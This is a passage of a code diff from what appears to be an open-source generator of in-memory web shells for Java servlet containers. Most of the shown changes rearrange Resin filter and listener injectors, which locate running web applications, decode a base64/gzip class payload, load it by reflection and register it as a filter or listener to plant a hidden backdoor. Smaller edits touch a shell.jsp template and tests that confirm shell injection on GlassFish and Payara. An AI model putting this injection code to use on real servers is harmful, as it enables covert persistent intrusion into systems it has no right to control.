filter; - } - - public boolean isInjected(Object context, String evilClassName) throws Exception { - Map filters = (Map) getFV(getFV(context, "_filterManager"), "_filters"); - for (String key : filters.keySet()) { - if (key.contains(evilClassName)) { - return true; - } - } - return false; - } - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class decoderClass; try { @@ -218,4 +121,100 @@ public class ResinFilterInjector { } } + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + private void addFilter(Object context, Object filter) throws Exception { + String filterClassName = filter.getClass().getName(); + if (isInjected(context, filterClassName)) { + System.out.println("filter already injected"); + return; + } + try { + Class filterMappingClass; + try { + filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); + } catch (Exception e) { + filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); + } + Object filterMappingImpl = filterMappingClass.newInstance(); + invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern"); + invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(urlPattern, "init"); + invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); + invokeMethod(context, "clearCache"); + System.out.println("filter injected"); + } catch (Throwable e) { + System.out.println("filter inject failed"); + e.printStackTrace(); + } + } + + public List getContext() { + Set contexts = new HashSet(); + try { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + Class servletInvocationClass = null; + try { + servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + } catch (Exception e) { + continue; + } + if (servletInvocationClass != null) { + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null) { + contexts.add(webApp); + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return Arrays.asList(contexts.toArray()); + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Map filters = (Map) getFV(getFV(context, "_filterManager"), "_filters"); + for (String key : filters.keySet()) { + if (key.contains(evilClassName)) { + return true; + } + } + return false; + } + } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinListenerInjector.java index c942e2b2..49c37de6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinListenerInjector.java @@ -13,14 +13,6 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class ResinListenerInjector { - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - static { new ResinListenerInjector(); } @@ -38,70 +30,6 @@ public class ResinListenerInjector { } - private void injectListener(Object context, Object listener) throws Exception { - if (!isInjected(context, listener.getClass().getName())) { - invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); - // 清除缓存,否则某些 uri 无法连接 - invokeMethod(context, "clearCache"); - } - } - - public List getContext() { - Set contexts = new HashSet(); - try { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); - for (Thread thread : threads) { - Class servletInvocationClass = null; - try { - servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); - } catch (Exception e) { - continue; - } - if (servletInvocationClass != null) { - Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); - Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); - if (webApp != null) { - contexts.add(webApp); - } - } - } - } catch (Exception e) { - // Handle exception - } - return Arrays.asList(contexts.toArray()); - } - - private Object getListener(Object context) { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Throwable tt) { - } - } - return listener; - } - - public boolean isInjected(Object context, String evilClassName) throws Exception { - List arrayList = (ArrayList) getFV(context, "_requestListeners"); - for (Object o : arrayList) { - if (o.getClass().getName().contains(evilClassName)) { - return true; - } - } - return false; - } - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class decoderClass; try { @@ -191,4 +119,76 @@ public class ResinListenerInjector { } } } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + private void injectListener(Object context, Object listener) throws Exception { + if (!isInjected(context, listener.getClass().getName())) { + invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); + // 清除缓存,否则某些 uri 无法连接 + invokeMethod(context, "clearCache"); + } + } + + public List getContext() { + Set contexts = new HashSet(); + try { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + Class servletInvocationClass = null; + try { + servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + } catch (Exception e) { + continue; + } + if (servletInvocationClass != null) { + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null) { + contexts.add(webApp); + } + } + } + } catch (Exception e) { + // Handle exception + } + return Arrays.asList(contexts.toArray()); + } + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + List arrayList = (ArrayList) getFV(context, "_requestListeners"); + for (Object o : arrayList) { + if (o.getClass().getName().contains(evilClassName)) { + return true; + } + } + return false; + } } \ No newline at end of file diff --git a/generator/src/main/resources/shell.jsp b/generator/src/main/resources/shell.jsp index b8bc9b08..8c03d0ae 100644 --- a/generator/src/main/resources/shell.jsp +++ b/generator/src/main/resources/shell.jsp @@ -1,3 +1,10 @@ +<%@ page import="java.lang.Class" %> +<%@ page import="java.lang.ClassLoader" %> +<%@ page import="java.lang.Exception" %> +<%@ page import="java.lang.Object" %> +<%@ page import="java.lang.Override" %> +<%@ page import="java.lang.String" %> +<%@ page import="java.lang.Thread" %> <%! public static class ClassDefiner extends ClassLoader { public ClassDefiner() { diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java b/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java index 922e600e..dde6e020 100644 --- a/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java @@ -1,17 +1,14 @@ package com.reajason.javaweb.buddy; import lombok.SneakyThrows; -import net.bytebuddy.ByteBuddy; -import net.bytebuddy.dynamic.DynamicType; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.condition.EnabledOnJre; import java.lang.reflect.InaccessibleObjectException; import java.lang.reflect.Method; -import java.nio.file.Files; -import java.nio.file.Paths; -import static org.junit.jupiter.api.Assertions.*; +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertThrows; import static org.junit.jupiter.api.condition.JRE.JAVA_17; /** diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java index 99debc0a..dc004944 100644 --- a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java +++ b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java @@ -96,6 +96,7 @@ class LogRemoveVisitorWrapperTest { public static class TestClass { static Logger logger = Logger.getLogger(TestClass.class.getName()); + public TestClass() { } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java index d14fecbd..754052c0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -18,7 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index 811546ed..fad423b8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -8,7 +8,6 @@ import com.reajason.javaweb.memsell.payara.PayaraShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index ebf425ec..2f5849cd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -8,7 +8,6 @@ import com.reajason.javaweb.memsell.payara.PayaraShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -19,7 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat;